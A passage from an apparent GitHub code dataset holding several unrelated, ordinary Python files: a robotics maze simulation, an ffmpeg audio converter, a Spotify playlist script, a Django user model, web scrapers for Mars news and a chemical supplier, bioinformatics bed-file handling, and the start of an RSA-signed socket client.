 if turns[i][1] > 1200:\n            turns[i][1] = turns[i][1] - 35\n\n    turns.append([pixel_path[n - 1][1] + signy * 25, pixel_path[n - 1][0] + signx * 25])\n    t1, t2 = 0, 0\n\n    print(\"\\nTurns array generated!\", len(turns))\n\n    cnt = 0\n    for i in range(0, len(turns)):\n        cnt = 0\n        task_3.change_setpoint(turns[i])\n        gate = True\n        #draw_setpoint(client_id, convert_pixel_to_path(turns[i]), table)\n\n        flag = 0\n        while True:\n            vision_sensor_image, image_resolution, return_code = task_2a.get_vision_sensor_image(client_id,\n                table)\n\n            transformed_image = task_2a.transform_vision_sensor_image(vision_sensor_image, image_resolution)\n            warped_img = task_1b.applyPerspectiveTransform_vs(transformed_image)\n\n            if warped_img is None:\n                continue\n\n            shapes = task_1a_part1.scan_image(warped_img, True)\n\n            print(shapes)\n            print(\"Current setpoint: \", turns[i])\n            print(\"\\n\")\n            if len(shapes) == 0:\n                continue\n\n            center_x = shapes['Circle'][1]\n            center_y = shapes['Circle'][2]\n            return_code_signal, t1_string = sim.simxGetStringSignal(client_id, 'time', sim.simx_opmode_streaming)\n\n            if return_code_signal == 0:\n                t1 = float(t1_string)\n\n            if turns[i][0] + 30 > center_x > turns[i][0] - 30 and turns[i][\n                1] + 30 > center_y > turns[i][1] - 30:\n                while turns[i][0] + 30 > center_x > turns[i][0] - 30 and turns[i][\n                    1] + 30 > center_y > turns[i][1] - 30:\n\n                    print(\"\\nInside safe zone!\\n\")\n\n                    return_code_signal, t2_string = sim.simxGetStringSignal(client_id, 'time', sim.simx_opmode_buffer)\n\n                    if return_code_signal == 0:\n                        t2 = float(t2_string)\n\n                    vision_sensor_image, image_resolution, return_code = task_2a.get_vision_sensor_image(client_id,\n                        table)\n                    transformed_image = task_2a.transform_vision_sensor_image(vision_sensor_image, image_resolution)\n                    warped_img = task_1b.applyPerspectiveTransform_vs(transformed_image)\n\n                    if warped_img is None:\n                        continue\n\n                    shapes = task_1a_part1.scan_image(warped_img, True)\n                    if len(shapes) == 0:\n                        continue\n\n                    center_x = shapes['Circle'][1]\n                    center_y = shapes['Circle'][2]\n\n                    if t2 - t1 > 0.3:\n                        print(\"Hue hue hue\")\n                        flag = 1\n                        break\n                    else:\n                        print(\"Calling control logic 1!\")\n\n                        if gate:\n                            print(\"Waiting1\")\n                            time.sleep(0)\n                            gate = False\n                            previous_error_x = turns[i][1] - center_x\n                            previous_error_y = turns[i][0] - center_y\n                            task_3.control_logic(center_x, center_y, table, client_id, previous_error_x, previous_error_y)\n                        else:\n                            task_3.control_logic(center_x, center_y, table, client_id, 0, 0)\n            else:\n                print(\"Calling control logic 2!\")\n\n                if gate:\n                    print(\"Waiting2\")\n                    time.sleep(0)\n                    gate = False\n                    previous_error_y = turns[i][0] - center_x\n                    previous_error_x = turns[i][1] - center_y\n                    task_3.control_logic(center_x, center_y, table, client_id, previous_error_x, previous_error_y)\n                else:\n                    task_3.control_logic(center_x, center_y, table, client_id, 0, 0)\n\n            if flag == 1:\n                break\n\n            print(i)\n            if len(turns) -1 == i and cnt == 20:\n                break\n            else:\n                cnt = cnt +1\n\n\ndef main(rec_client_id):\n    maze_t4 = cv2.imread('maze_t4.jpg')\n    maze_t1 = cv2.imread('maze_t1.jpg')\n    print(\"Maze images read!\\n\")\n\n    warped_img_t4 = task_1b.applyPerspectiveTransform(maze_t4)\n    warped_img_t1 = task_1b.applyPerspectiveTransform(maze_t1)\n    maze_array_t4 = task_1b.detectMaze(warped_img_t4)\n    maze_array_t1 = task_1b.detectMaze(warped_img_t1)\n    print(\"Maze array detected: \\nT4: \", maze_array_t4, \"T1: \", maze_array_t1)\n\n    return_code = task_2b.send_data(rec_client_id, maze_array_t4, \"top_plate_respondable_t4_1\")\n    return_code = task_2b.send_data(rec_client_id, maze_array_t1, \"top_plate_respondable_t1_1\")\n    print(\"\\nMaze generated!\\n\")\n\n    with open(\"ball_details.json\") as f:\n        data = json.load(f)\n    print(data)\n\n    return_code = task_2a.start_simulation(rec_client_id)\n    print(\"Simulation started!\\n\")\n\n    task_3.init_setup(rec_client_id)\n\n    shapes = {}\n    while shapes.get(\"Circle\") is None:\n        img_vs5, res, _ = task_2b.get_vision_sensor_image(rec_client_id, 5)\n        img = task_2b.transform_vision_sensor_image(img_vs5, res)\n        shapes = task_1a_part1.scan_image(img, False)\n\n    cl = shapes[\"Circle\"][0]\n    print(cl)\n    tmp = get_start_end_coord(data, cl)\n    send_color_and_collection_box_identified(cl, tmp)\n    print(start_coord_1, end_coord_1, end_coord_4, start_coord_4)\n\n    # start coord and end coord from json ---- for t_4 start coord = (0, 4) end coord depends on cl end coord = (5, 9)\n    # for t_4\n    path_t4 = task_4a.find_path(maze_array_t4, start_coord_4, end_coord_4)\n    send_data_to_draw_path(rec_client_id, path_t4, 4)\n\n    path_t1 = task_4a.find_path(maze_array_t1, start_coord_1, end_coord_1)\n    send_data_to_draw_path(rec_client_id, path_t1, 1)\n\n    print(\"\\nPath sent to CoppeliaSim\\n\")\n    pixel_path_t4 = convert_path_to_pixels(path_t4)\n    print(\"Entering traverse path\\n\")\n    traverse_path(pixel_path_t4, 4)\n    print(\"Ball traversed!\")\n    time.sleep(1) # why this addition\n    # for t_1 ----- for t_1 start coord = (0, 5) end coord depend on cl end coord = (0, 4)\n    print(\"Path sent to CoppeliaSim\")\n    pixel_path_t1 = convert_path_to_pixels(path_t1)\n    print(\"Entering traverse path\\n\")\n    traverse_path(pixel_path_t1, 1)\n    print(\"Ball traversed!\")\n\n    return_code = task_2a.stop_simulation(rec_client_id)\n\n    ##################################################\n\n\n# Function Name:    main (built in)\n#        Inputs:    None\n#       Outputs:    None\n#       Purpose:    To call the main(rec_client_id) function written by teams when they\n#                    run task_5.py only.\n\n# NOTE: Write your solution ONLY in the space provided in the above functions. This function should not be edited.\nif __name__ == \"__main__\":\n    client_id = task_2a.init_remote_api_server()\n    main(client_id)\n","repo_name":"Harshit-1104/Eyantra-2020","sub_path":"task_5.py","file_name":"task_5.py","file_ext":"py","file_size_in_byte":17511,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"}
{"seq_id":"14702150428","text":"#!/usr/bin/env python3\n\n\"\"\" A script to convert a video downloaded with yt-dlp to an audio format\"\"\"\n\nimport argparse\nimport os\nimport subprocess\nimport sys\nfrom shutil import which\n\nparser = argparse.ArgumentParser(description=\"Convert audio files to mp3\")\nparser.add_argument(\"audio_file\", help=\"audio file to convert\")\nargs = parser.parse_args()\n\n# Checking if ffmpeg is installed\nif not which(\"ffmpeg\"):\n    print(\"ffmpeg is not installed\")\n    sys.exit(1)\n\nformats = [\".m4a\", \".webm\", \".opus\", \".mkv\", \".ogg\", \".wav\", \".flac\"]\n# auto-detect file extension\n# formats = []\n# for format in subprocess.run([\"ffmpeg\", \"-formats\"], capture_output=True).stdout.decode().splitlines():\n#     if format.startswith(\" D \"):\n#         formats.append(format.split()[1])\n\nfile_path = os.path.dirname(args.audio_file)\n\n\ndef mp3_convert(audio_file):\n    \"\"\"Convert file to mp3. If file is already mp3, do nothing\"\"\"\n\n    if not os.path.isfile(audio_file):\n        print(\"::: File not specified.\")\n        sys.exit(1)\n\n    if audio_file.endswith(\".mp3\"):\n        print(\"::: File is already mp3. Exiting...\")\n        sys.exit(0)\n    else:\n        file_name = os.path.splitext(audio_file)[0]\n        file_ext = os.path.splitext(audio_file)[1]\n        if file_ext in formats:\n            new_file = file_name + \".mp3\"\n            subprocess.run(\n                [\n                    \"ffmpeg\",\n                    \"-i\",\n                    audio_file,\n                    \"-c:a\",\n                    \"libmp3lame\",\n                    \"-b:a\",\n                    \"320k\",\n                    new_file,\n                ],\n                check=True,\n            )\n            os.remove(audio_file)\n        else:\n            print(\"\\nFile doesn't match any of the supported formats:\")\n            # print formats as bullet points\n            for f in formats:\n                print(f\"* {f}\")\n            sys.exit(1)\n\n\nif __name__ == \"__main__\":\n    mp3_convert(args.audio_file)\n","repo_name":"bblinder/archiving","sub_path":"ffmpeg_convert.py","file_name":"ffmpeg_convert.py","file_ext":"py","file_size_in_byte":1958,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"}
{"seq_id":"21277312048","text":"import json\nimport requests\nimport query as ep\n \nclass server(ep):\n\n  global endpoint_url\n  endpoint_url = f\"https://api.spotify.com/v1/users/{ep.user_id}/playlists\"\n    \n\n  def request_generator(self,name = \"unnamed\", desc = \"unnamed\", is_public = False):\n    \n    request_body = json.dumps({\n      \"name\": name,\n      \"description\": desc,\n      \"public\": is_public\n      })\n\n    return request_body\n\n  def playlist_id_generator(self, request_body):\n    \n    response = requests.post(url = server.endpoint_url, data = request_body, headers={\n      \"Content-Type\":\"application/json\", \n      \"Authorization\":f\"Bearer {ep.token}\"})\n\n    if response.status_code != 201:\n      return \"HTTP Error\"\n\n    url = response.json()['external_urls']['spotify']\n    \n    return (response.json()['id'], url)\n\n  def playlist_run(self):\n    req  = self.request_generator(\"demop_playlist\",\"playlist created with python\",False)\n    playlist_id, playlist_url = self.playlist_id_generator(req)\n    playist_endpoint_url = f\"https://api.spotify.com/v1/playlists/{playlist_id}/tracks\"\n\n    request_body = json.dumps({\n          \"uris\" : ep.uris\n        })\n    response = requests.post(url = endpoint_url, data = request_body, headers={\"Content-Type\":\"application/json\", \n                        \"Authorization\":f\"Bearer {ep.token}\"})\n\n    if response.status_code != 201:\n          print(\"HTTP Error\")\n    return playlist_url\n    \n","repo_name":"ro-mish/Auxo","sub_path":"website/py/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1406,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"27497891246","text":"from __future__ import unicode_literals\r\nfrom django.contrib.auth.models import AbstractBaseUser,PermissionsMixin\r\nfrom django.core.validators import (\r\n    RegexValidator,\r\n    )\r\nfrom django.db import models\r\nfrom django.urls import reverse\r\nfrom django.conf import settings\r\nfrom .managers import UserManager\r\nfrom django.utils.translation import ugettext_lazy as _\r\nfrom django_resized import ResizedImageField\r\n\r\nNAME_REGEX = '^[a-zA-Z ]*$'\r\n\r\nGENDER_CHOICE = (\r\n    (\"Male\", \"Male\"),\r\n    (\"Female\", \"Female\"),\r\n    (\"Prefer not to say\", \"Prefer not to say\"),\r\n    )\r\n\r\nclass User(AbstractBaseUser, PermissionsMixin):\r\n\r\n    email = models.EmailField(unique=True)\r\n    first_name = models.CharField(\r\n        max_length=256,\r\n        blank=False,\r\n        validators=[\r\n                RegexValidator(\r\n                    regex=NAME_REGEX,\r\n                    message='Name must be Alphabetic',\r\n                    code='invalid_first_name'\r\n                    )\r\n                ]\r\n        )\r\n    last_name = models.CharField(\r\n        max_length=256,\r\n        blank=False,\r\n        validators=[\r\n                RegexValidator(\r\n                    regex=NAME_REGEX,\r\n                    message='Name must be Alphabetic',\r\n                    code='invalid_last_name'\r\n                    )\r\n                ]\r\n        )\r\n\r\n    gender = models.CharField(max_length=25, choices=GENDER_CHOICE,help_text=\"Select gender\")\r\n    date_joined = models.DateTimeField(auto_now_add=True)\r\n    balance = models.DecimalField(\r\n        default=0,\r\n        max_digits=12,\r\n        decimal_places=2\r\n        )\r\n\r\n    bonus = models.DecimalField(\r\n        default=0,\r\n        max_digits=12,\r\n        decimal_places=2\r\n        )\r\n\r\n    picture = ResizedImageField(\r\n        size=[128, 128],\r\n        crop=['top','left'], \r\n        quality=80,\r\n        upload_to=\"media-root/\",\r\n        null=True,\r\n        blank=False,\r\n        )\r\n\r\n    is_staff = models.BooleanField(_(\"is staff\"), default=False)\r\n    is_active = models.IntegerField(default = 1, \r\n                                   blank = True, \r\n                                    null = True, \r\n                                    help_text ='1->Active, 0->Inactive',  \r\n                                    choices =( \r\n                                    (1, 'Active'), (0, 'Inactive') \r\n                                    ))\r\n    email_confirmed = models.BooleanField(default=False)\r\n\r\n    objects = UserManager()\r\n\r\n    # USERNAME_FIELD = 'email'  # use email to log in\r\n    USERNAME_FIELD = 'email'  # use email to log in\r\n    REQUIRED_FIELDS = []  # required when user is created\r\n\r\n    class Meta:\r\n        verbose_name = _('user')\r\n        verbose_name_plural = _('users')\r\n\r\n    def get_full_name(self):\r\n        fullname = '%s %s' %(self.first_name, self.last_name)\r\n        return fullname.strip()\r\n\r\n    def get_short_name(self):\r\n        return self.first_name\r\n\r\n    def Save(self, *args, **kwargs):\r\n        super(User, self).save(*args, **kwargs)\r\n            \r\n    def __str__(self):\r\n        return str(self.last_name+' '+self.first_name)\r\n","repo_name":"dev-afolabi/bitcoin","sub_path":"users/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":3110,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"11655814195","text":"from splinter import Browser\nfrom bs4 import BeautifulSoup\nimport pandas as pd\nimport time\n\ndef init_browser():\n    \n    executable_path = {\"executable_path\": \"/usr/local/bin/chromedriver\"}\n    return Browser(\"chrome\", **executable_path, headless=False)\n\n\ndef scrape():\n    browser = init_browser()\n    \n\n    title, body = scrape_news()\n\n    mars_data={\"news_title\":title,\n                \"paragraph\":body,\n                \"main_image\":featured_image(),\n                \"Mars_Facts\":mars_facts(),\n                \"Hemisphere_urls\":mars_images()\n    }\n\n    browser.quit()\n    return mars_data\n\ndef scrape_news():\n\n    browser = init_browser()\n\n    url = 'https://mars.nasa.gov/news'\n    browser.visit(url)\n\n    time.sleep(1)\n\n    html = browser.html\n    \n    soup = BeautifulSoup(html, 'html.parser')\n\n    try:\n        results = soup.find_all('div', class_='content_title')\n        title = results[1].text\n        results1 = soup.find_all('div', class_='article_teaser_body')\n        body = results1[0].text \n    except AttributeError:\n        return None, None\n    \n    browser.quit()\n\n    return title, body\n\ndef featured_image():\n\n    browser = init_browser()\n\n    url2 = 'https://www.jpl.nasa.gov/spaceimages/?search=&category=Mars'\n    browser.visit(url2)\n\n    time.sleep(1)\n\n    image_element = browser.find_by_id(\"full_image\")\n    image_element.click()\n\n    more_info_element = browser.links.find_by_partial_text('more info')\n    more_info_element.click()\n\n    html2 = browser.html\n    soup2 = BeautifulSoup(html2, 'html.parser')\n\n    try:\n        image1 = soup2.select_one('figure.lede a img').get(\"src\")\n        url3 = \"https://www.jpl.nasa.gov\"\n        featured_image_url = url3 + image1\n    except AttributeError:\n        return None, None\n    browser.quit()\n    return featured_image_url\n\ndef mars_facts():\n    browser = init_browser()\n\n    url3 = 'https://space-facts.com/mars/'\n    tables = pd.read_html(url3)\n    df1 = tables[1]\n    df1.set_index([\"Mars - Earth Comparison\"],inplace=True)\n    html_table = df1.to_html()\n\n\n    browser.quit()\n    return html_table\n\ndef mars_images():\n    browser = init_browser()\n    mars_urls = ['https://astrogeology.usgs.gov/search/map/Mars/Viking/cerberus_enhanced','https://astrogeology.usgs.gov/search/map/Mars/Viking/schiaparelli_enhanced','https://astrogeology.usgs.gov/search/map/Mars/Viking/syrtis_major_enhanced','https://astrogeology.usgs.gov/search/map/Mars/Viking/valles_marineris_enhanced']\n    hemisphere_image_urls = []\n    for mars in mars_urls:\n        #url_mars = mars\n        browser.visit(mars)\n        html_mars = browser.html\n        soup_mars = BeautifulSoup(html_mars, 'html.parser')\n        results4 = soup_mars.find('div', class_='downloads')\n        image_url = results4.a['href']\n        mars_title = soup_mars.find('h2', class_='title').text\n        \n        hemisphere_image_urls.append({'title': mars_title,'image_url': image_url})\n    \n    browser.quit()\n    return hemisphere_image_urls","repo_name":"mikeseifer1/web_scraping_challenge","sub_path":"scrape_mars.py","file_name":"scrape_mars.py","file_ext":"py","file_size_in_byte":2967,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"70232280462","text":"import discord\n\n\nclass Number:\n    def __init__(self, number, claimed=False):\n        self.number: int | None = number\n        self.claimed: bool = claimed\n\n\nclass Player:\n    def __init__(self, member, board):\n        self.member: discord.Member = member\n        self.board: list[list[Number]] = board\n\n    def get_number_coordinates(self, number: int):\n        x_cords, y_cords = 0, 0\n\n        for y in self.board:\n            for x in y:\n                if x is not None:\n                    if x.number == number:\n                        return x_cords, y_cords\n\n                x_cords += 1\n\n            y_cords += 1\n\n        return None, None\n\n    def claim(self, number: int):\n        x, y = self.get_number_coordinates(number)\n\n        if x is None or y is None:\n            return\n\n        self.board[y][x].claimed = True\n\n\nclass Winner:\n    def __init__(self, player, win_type):\n        self.player: Player = player\n        self.win_type: str = win_type\n","repo_name":"OpenRobot/OpenRobot-Bot","sub_path":"cogs/utils/games/bingo/baseclass.py","file_name":"baseclass.py","file_ext":"py","file_size_in_byte":964,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"47"}
{"seq_id":"5419875108","text":"# -*- coding: utf-8 -*-\n\nimport sys\nimport errno\nimport re\nfrom pathlib import Path\nimport numpy as np\nimport pandas as pd\n\nimport pprint\n\n# global variants\nimport vprimer.glv as glv\nimport vprimer.utils as utl\n\nfrom vprimer.logging_config import LogConf\nfrom vprimer.bed_thin_align import BedThinAlign\n\n\n'''\n    distin_grp_dict の数は上限なし。\n    個々の解析において、合計の比較サンプルに対応する\n    bed_thal ファイルが必要。\n\n    bed_thalファイルは、\n    distin_grp_dictの 'bed_thal_path' に書かれている。\n    bed_thalファイルを検索可能にした、DataFrame を、\n    distin_grp_dict に格納すれば良い。\n    distin_grp_dict['df_query_bed'] になるといい。\n\n\n'''\n\nclass ConfBedFile(object):\n\n    def open_log_bedfile(self):\n\n        global log\n        log = LogConf.open_log(__name__)\n\n\n    def prepare_bed_thal(self):\n        ''' from main\n        '''\n\n        # 一時ファイルを消す\n        for fpath in self.bed_dir_path.iterdir():\n\n            if str(fpath).endswith(glv.bam_bed_tmp_ext):\n                log.info(\"delete leftover tmp file ({}), {}.\".format(\n                    glv.bam_bed_tmp_ext, fpath))\n                fpath.unlink()\n\n            if str(fpath).endswith(glv.bed_thal_sort_ext):\n                log.info(\"delete leftover tmp file ({}), {}.\".format(\n                    glv.bed_thal_sort_ext, fpath))\n                fpath.unlink()\n\n            if str(fpath).endswith(glv.bed_thal_merge_ext):\n                log.info(\"delete leftover tmp file ({}), {}.\".format(\n                    glv.bed_thal_merge_ext, fpath))\n                fpath.unlink()\n\n        bed_thal_path_list = list()\n\n        if self.depth_mode == glv.depth_no_check:\n            return\n\n        # prepare bed_thal\n        for distin_grp_dict in self.distinguish_groups_list:\n            # get bed_thal_path to list\n\n            bed_thal_path = self.select_depth_mode(distin_grp_dict)\n            #print(bed_thal_path)\n            #sys.exit(1)\n\n            if bed_thal_path != \"\":\n                bed_thal_path_list += self.select_depth_mode(distin_grp_dict)\n\n        # a list of paths to use as dictionary keys\n        for bed_thal_path in bed_thal_path_list:\n            self.read_bed_into_dict(bed_thal_path)\n\n\n    def select_depth_mode(self, distin_grp_dict):\n\n        bed_thal_path = \"\"\n\n        groups_id = distin_grp_dict['groups_id']\n        #print(\"group_id={}\".format(groups_id))\n\n        # 当初作成したサンプル名のstringで行く(リストへは各自変換)\n        sorted_samples_str = distin_grp_dict['sorted_samples']\n        #print(\"sorted_samples_str={}\".format(sorted_samples_str))\n\n        # self.depth_mode ３つのモード\n        #   glv.depth_bam_table\n        #   glv.depth_bed_bams\n        #   glv.depth_bed_thal\n\n        # これはモードに対応するので、ここでは不要\n        #bed_thal_path = distin_grp_dict['bed_thal_path']\n        #print(\"bed_thal_path={}\".format(bed_thal_path))\n        # 起動オプションで指定されていない場合、- である。\n\n        # *******************************************************\n        # BedThinAlignクラスのインスタンスを作成して処理\n        bta = BedThinAlign()\n        # *******************************************************\n\n        log.info(\"start, depth mode: {}.\".format(self.depth_mode))\n\n        if self.depth_mode == glv.depth_bam_table:\n            # bamテーブルによるデプスチェック\n            # glv.conf.user_bam_table_path\n            bta.make_bam_table_dict()\n\n            # make bam_bed_file\n            # self.require_bam_bed_list\n            bta.get_require_bam_bed_list(sorted_samples_str)\n            # build bam_bed\n            bta.build_bam_bed()\n\n            # Collect bibliographic information for bam_bed to see\n            # if there already exists a bed_thal made from\n            # the specified bam_bed.\n            bta.pick_provenance_with_depth(sorted_samples_str, groups_id)\n\n            # checks if there is a bed_thal from the given origin\n            found_bed_thal, bed_thal_path = bta.find_suitable_bed_thal()\n\n            # 設定されるべき名前。無いならなら今から作る\n            distin_grp_dict['bed_thal_path'] = bed_thal_path\n            #pprint.pprint(distin_grp_dict)\n\n            #print(\"found_bed_thal={}\".format(found_bed_thal))\n            #print(\"bed_thal_path={}\".format(bed_thal_path))\n\n            # if found, only print file name\n            if found_bed_thal:\n                mes = \"Found a bed_thal file that satisfies \"\n                mes += \"the conditions:\\n{}\".format(bed_thal_path)\n                log.info(mes)\n\n            else:\n                # make\n                mes = \"not found suitable bed_thal file, \"\n                mes += \"so it will be generated, {}\".format(bed_thal_path)\n                log.info(mes)\n                bta.build_bed_thal(bed_thal_path)\n\n            log.info(\"finished, {}\".format(utl.elapse_epoch()))\n\n        #elif self.depth_mode == glv.depth_bed_bams:\n            # 共通bamを指定\n            # glv.conf.user_bed_bams_str\n            # bamを指定した、bed_thal を作成\n        #    pass\n\n\n        elif self.depth_mode == glv.depth_bed_thal:\n            # 共通bed_thalを指定\n            bed_thal_path = glv.conf.user_bed_thal_path\n\n            # 存在の確認\n            if not bed_thal_path.exists():\n                er_m = \"not found bed_thal {}\".format(bed_thal_path)\n                log.error(er_m)\n                sys.exit(1)\n\n            else:\n                # bedとしての動作チェック\n                err_str = utl.bed_validation(bed_thal_path)\n                if err_str != \"\":\n                    er_m = \"For the following bed_thal \"\n                    er_m += \"file that already exists, \"\n                    er_m += \"bedtools says that:\\n\\n{}\".format(err_str)\n                    log.error(er_m)\n                    sys.exit(1)\n\n\n            # glv.conf.user_bed_thal_path\n            distin_grp_dict['bed_thal_path'] = bed_thal_path\n            mes = \"All analyzes are set to use \"\n            mes += \"the bed_thal {}\".format(bed_thal_path)\n            log.info(mes)\n\n        else:\n            # glv.depth_no_check:\n            pass\n\n\n        #for distin_grp_dict in self.distinguish_groups_list:\n        # ここまでで、distin_grp_dict['bed_thal_path'] が準備完了である。\n        # distin_grp_dict の辞書としてファイル名をキーとして読むか\n        # 辞書名は、何にするといいか。\n        # 例えば、bed_thin_alignファイルが、同じものの場合、\n        # 指定されたパスをもとに、dictにすればいいか。\n\n        # 準備が終わったbed を、pandasに読み込んで、\n        # search_bedができるようにする:\n\n        # bed_thin_align\n        #self.bed_thin_align = self.choice_variables('bed_thin_align')\n\n\n        #if (self.bed_thin_align != \"\"):\n        #\n        #    self.user_bed_path = utl.full_path(self.bed_thin_align)\n        #    basename_user_bed = os.path.basename(self.user_bed_path)\n        #    self.bed_slink_system = \"{}/{}{}\".format(\n        #        self.ref_dir_path, 'slink_', basename_user_bed)\n        #    self.bed_path = \"{}/{}\".format(\n        #        self.ref_dir_path, basename_user_bed)\n        #\n        #    self.prepare_bed()\n        #\n        #sys.exit(1)\n\n        #return list\n        return [bed_thal_path]\n\n\n    def read_bed_into_dict(self, bed_thal_path):\n        \"\"\"\n        \"\"\"\n\n        # don't register same path bed file\n        if bed_thal_path in self.bed_thal_dict.keys():\n            return\n        else:\n            self.bed_thal_dict[bed_thal_path] = dict()\n\n        bed_header = ['chrom', 'start', 'end']\n\n        # read bed into pandas\n        df_bed = pd.read_csv(bed_thal_path, sep = '\\t', header = None,\n            index_col = None, comment = '#')\n        df_bed.columns = bed_header\n\n        # start is open pos so +1\n        df_bed['start'] = df_bed['start'] + 1 \n\n        # pick uniq.chrom\n        chrom_name = np.unique(df_bed['chrom'])\n\n        for chrom in chrom_name:\n            self.bed_thal_dict[bed_thal_path][chrom] = \\\n                df_bed[df_bed['chrom'] == chrom]\n\n        mes = \"finished reading \"\n        mes += \"self.bed_thal_dict[{}], \".format(bed_thal_path)\n        mes += \"chrom={}\".format(chrom_name)\n\n        log.info(\"{}\".format(mes))\n\n\n","repo_name":"ncod3/vprimer","sub_path":"vprimer/conf_bed_file.py","file_name":"conf_bed_file.py","file_ext":"py","file_size_in_byte":8484,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"41499048107","text":"import re\nfrom urllib.parse import urljoin\n\nimport scrapy\n\nfrom product_spider.items import RawData, ProductPackage, SupplierProduct\nfrom product_spider.utils.cost import parse_cost\nfrom product_spider.utils.functions import strip\nfrom product_spider.utils.spider_mixin import BaseSpider\n\n\nclass YuanYeSpider(BaseSpider):\n    \"\"\"上海源叶\"\"\"\n    name = \"yuan_ye\"\n    start_urls = [\"http://www.shyuanye.com/\"]\n    base_url = \"http://www.shyuanye.com/\"\n\n    def parse(self, response, **kwargs):\n        urls = response.xpath(\"//a[@class='over_2']/@href\").getall()\n        for url in urls:\n            url = urljoin(self.base_url, url)\n            yield scrapy.Request(\n                url=url,\n                callback=self.parse_list,\n            )\n\n    def parse_list(self, response):\n        rows = response.xpath(\"//div[@class='goodsList']//tr/td[last()-4]//a\")\n        for row in rows:\n            cat_no = row.xpath(\"./text()\").get()\n            url = urljoin(self.base_url, row.xpath(\"./@href\").get())\n            yield scrapy.Request(\n                url=url,\n                callback=self.parse_detail,\n                meta={\"cat_no\": cat_no},\n            )\n        next_url = response.xpath(\"//a[contains(text(), '下一页')]/@href\").get()\n        if next_url:\n            yield scrapy.Request(\n                url=urljoin(self.base_url, next_url),\n                callback=self.parse_list\n            )\n\n    def parse_detail(self, response):\n        cat_no = response.meta.get(\"cat_no\", None)\n        parent = response.xpath(\"//div[@id='ur_here']/a[last()]/text()\").get()\n        chs_name = response.xpath(\"//div[@class='titleInfo']//td[last()]/h1/text()\").get()\n        purity = response.xpath(\"//div[@class='titleInfo']//td[last()]/text()\").get()\n        tmp_xpath = \"//li[contains(text(), {!r})]/following-sibling::li//text()\"\n\n        en_name = strip(response.xpath(tmp_xpath.format(\"英文名：\")).get())\n        cas = strip(response.xpath(tmp_xpath.format(\"CAS号：\")).get())\n        mf = strip(''.join(response.xpath(tmp_xpath.format(\"分子式：\")).getall()))\n        mw = strip(response.xpath(tmp_xpath.format(\"分子量：\")).get())\n        mdl = strip(response.xpath(tmp_xpath.format(\"MDL：\")).get())\n\n        img_url = response.xpath(\"//div[@class='imgInfo']//img/@src\").get()\n        if img_url == \"./images/no_picture.jpg\":\n            img_url = None\n        else:\n            img_url = urljoin(self.base_url, img_url)\n\n        d = {\n            \"brand\": self.name,\n            \"parent\": parent,\n            \"cat_no\": cat_no,\n            \"chs_name\": chs_name,\n            \"purity\": purity,\n            \"en_name\": en_name,\n            \"cas\": cas,\n            \"mf\": mf,\n            \"mw\": mw,\n            \"mdl\": mdl,\n            \"img_url\": img_url,\n            \"prd_url\": response.url,\n        }\n        yield RawData(**d)\n        rows = response.xpath(\"//form[@name='form1 ']//tr\")\n        for row in rows:\n            res = re.search(r'(?<=-).*', row.xpath(\"./td[last()-10]/text()\").get())\n            if not res:\n                continue\n            package = res.group()\n            cost = parse_cost(row.xpath(\"./td[last()-7]/text()\").get())\n            dd = {\n                \"brand\": self.name,\n                \"cat_no\": cat_no,\n                \"package\": package,\n                \"cost\": cost,\n                \"currency\": \"RMB\"\n            }\n            ddd = {\n                \"platform\": self.name,\n                \"vendor\": self.name,\n                \"brand\": self.name,\n                \"parent\": d[\"parent\"],\n                \"en_name\": d[\"en_name\"],\n                \"chs_name\": d[\"chs_name\"],\n                \"cas\": d[\"cas\"],\n                \"mf\": d[\"mf\"],\n                \"mw\": d[\"mw\"],\n                'cat_no': d[\"cat_no\"],\n                'package': dd['package'],\n                'cost': dd['cost'],\n                \"currency\": dd[\"currency\"],\n                \"img_url\": d[\"img_url\"],\n                \"prd_url\": d[\"prd_url\"],\n            }\n            yield ProductPackage(**dd)\n            yield SupplierProduct(**ddd)\n","repo_name":"Pandaaaa906/product_spider","sub_path":"product_spider/spiders/yuan_ye_spider.py","file_name":"yuan_ye_spider.py","file_ext":"py","file_size_in_byte":4065,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"27454996653","text":"#!/usr/bin/env python3\nimport socket\nimport struct\nimport time\nfrom cryptography.hazmat.primitives.asymmetric import rsa, padding\nfrom cryptography.hazmat.primitives import hashes, serialization\nimport argparse\n\npossible_hashes = ['sha1','sha512-224','sha512-256','sha224','sha256', 'sha384', 'sha512', 'sha3-224', 'sha3-256', 'sha3-384', 'sha3-512', 'shake128', 'shake256', 'md5', 'blake2b', 'blake2s']\nhash_functions = [hashes.SHA1(), hashes.SHA512_224(),hashes.SHA512_256(), hashes.SHA224(), hashes.SHA256(), hashes.SHA384(), hashes.SHA512(), hashes.SHA3_224(), hashes.SHA3_256(), hashes.SHA3_384(), hashes.SHA3_512(), hashes.SHAKE128(128), hashes.SHAKE256(256), hashes.MD5(), hashes.BLAKE2b(64), hashes.BLAKE2s(32)]\n\n\nprivate_key = rsa.generate_private_key(\n    public_exponent=65537,\n    key_size=2048\n)\npublic_key = private_key.public_key()\n\nlocalhost = \"127.0.0.1\"\nport = 55841\n\ndef send_msg(sock, signature, msg, args):\n    # Prefix each message with a 4-byte length (network byte order)\n    #print(hashlib.md5(msg).hexdigest())\n    msg = struct.pack('>I', len(msg)) + struct.pack('>Q', round(time.time()*1000)) + struct.pack('>I', possible_hashes.index(args.hash)) + struct.pack('>?', args.control) + struct.pack('>I', len(signature)) + signature + msg\n    sock.sendall(msg)\n\nif __name__ == \"__main__\":\n    parser = argparse.ArgumentParser()\n    parser.add_argument('-ha', '--hash', help='Input signature hash, like in \\'sha256\\' or \\'md5\\'', default='sha256')\n    parser.add_argument('-l', '--loop', help='Input amount of times to loop', type=int, default=1)\n    parser.add_argument('-c', '--control', help='Turn off digital signature', action=\"store_true\")\n   